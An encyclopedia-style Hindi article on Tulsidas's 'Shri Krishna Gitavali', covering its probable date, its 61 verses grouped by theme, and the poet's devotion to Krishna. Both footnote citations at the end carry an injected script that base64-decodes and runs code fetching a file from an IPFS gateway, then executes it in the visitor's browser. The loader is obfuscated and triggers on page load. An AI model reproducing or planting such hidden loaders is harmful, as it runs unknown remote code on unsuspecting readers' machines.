कृष्ण गीतावली -तुलसीदास

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कृष्ण गीतावली -तुलसीदास
'श्रीकृष्ण गीतावली'
कवि गोस्वामी तुलसीदास
मूल शीर्षक 'श्रीकृष्ण गीतावली'
मुख्य पात्र श्रीकृष्ण
प्रकाशक गीताप्रेस गोरखपुर
ISBN 81-293-0502-x
देश भारत
भाषा अवधी
शैली छन्द
विषय श्रीकृष्ण की कथा।
रचना काल संवत 1642 और 1650 के मध्य किसी समय।
टिप्पणी तुलसीदास के इस ग्रन्थ से यह भली-भाँति सिद्ध हो जाता है कि श्रीराम के अनन्योपासक होने पर भी गोस्वामी जी श्रीराम और श्रीकृष्ण में सदा अभेद बुद्धि रखते थे।

श्रीकृष्ण गीतावली गोस्वामी तुलसीदास का ब्रजभाषा में रचित अत्यन्त मधुर व रसमय गीति काव्य है। इस काव्य में भगवान श्रीकृष्ण की महिमा का और कृष्ण लीला का सुंदर गान किया गया है। कृष्ण की बाल्यावस्था और 'गोपी-उद्धव संवाद' के प्रसंग कवित्व व शैली की दृष्टि से अत्यधिक सुंदर हैं। विद्वानों का अनुमान है कि इसकी रचना तुलसीदास ने अपनी वृन्दावन यात्रा के क्रम में यात्रा की समाप्ति के ठीक बाद किसी समय की होगी।

रचना काल

ऐसा समझा जाता है कि तुलसीदास ने 'रामचरितमानस' की रचना करने के बाद संवत 1642 के आस-पास वृन्दावन (मथुरा, उत्तर प्रदेश) की यात्रा की थी। इसीलिए 'कृष्ण गीतावली' की रचना संवत 1642 और 1650 के मध्य में ही किसी समय हुई होगी, ऐसा अनुमान किया जाता है। 'कृष्ण गीतावली' गोस्वामी तुलसीदास की प्रौढ़ रचना है। इसमें कई पद ऐसे हैं, जो 'सूरसागर' में भी पाये जाते हैं। विद्वानों का यह अनुमान है कि 'सूरसागर' के पदों में तुलसी के पद सन्निविष्ट हो गए हैं, क्योंकि 'रामचरितमानस' जैसे गौरवशाली ग्रंथ के प्रणेता तुलसीदास 'कृष्ण गीतावली' जैसी छोटी और व्यवस्थित रचना में सूरदास के पदों को क्यों समाविष्ट करते, सूर के बिखरे पदों का संग्रह करते समय संग्रह कर्ताओं ने भूल से 'कृष्ण गीतावली' के पदों को भी सूर-रचित मान लिया होगा। यही सम्भावना अधिक बलवती प्रतीत होती है। कुछ भी हो, यह निर्विवाद है कि 'कृष्ण गीतावली' की रचना करके तुलसीदास ने कृष्ण के प्रति अपनी निष्ठा प्रमाणित की है और राम तथा कृष्ण भक्ति धारा के बीच सामंजस्य स्थापित किया है।[1]

पदसंख्या

'कृष्ण गीतावली' में कुल 61 पद हैं, जो निम्न प्रकार से व्यवस्थित हैं-

  1. बाललीला - 20 पद
  2. रूप-सौन्दर्य - 3 पद
  3. विरह - 9 पद
  4. उद्धव-गोपिका-संवाद या 'भ्रमरगीत' - 27 पद
  5. द्रौपदी-लज्जा-रक्षण - 2 पद

सभी पद परम सरस और मनोहर हैं। पदों में ऐसा स्वाभाविक सुन्दर और सजीव भाव चित्रण है कि पढ़ते-पढ़ते लीला-प्रसंग मूर्तिमान होकर सामने आ जाता है।

तुलसीदास का कृष्ण प्रेम

गोस्वामी तुलसीदास के इस ग्रन्थ से यह भली-भाँति सिद्ध हो जाता है कि श्रीराम रूप के अनन्योपासक होने पर भी श्रीगोस्वामी जी भगवान श्री रामभद्र और भगवान श्रीकृष्णचन्द्र में सदा अभेद बुद्धि रखते थे और दोनों ही स्वरूपों का तथा उनकी लीलाओं का वर्णन करने में अपने को कृतकृत्य तथा धन्य मानते थे। 'विनयपत्रिका' आदि में भी श्रीकृष्ण का महत्त्व कई जगह आया है, पर 'श्रीकृष्ण गीतावली' में तो वह प्रत्यक्ष प्रकट हो गया है।[2]


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टीका टिप्पणी और संदर्भ

  1. कृष्ण गीतावली (हिन्दी)। । अभिगमन तिथि: 07 अक्टूबर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. श्रीकृष्णगीतावली (हिंदी)। । अभिगमन तिथि: 12 जुलाई, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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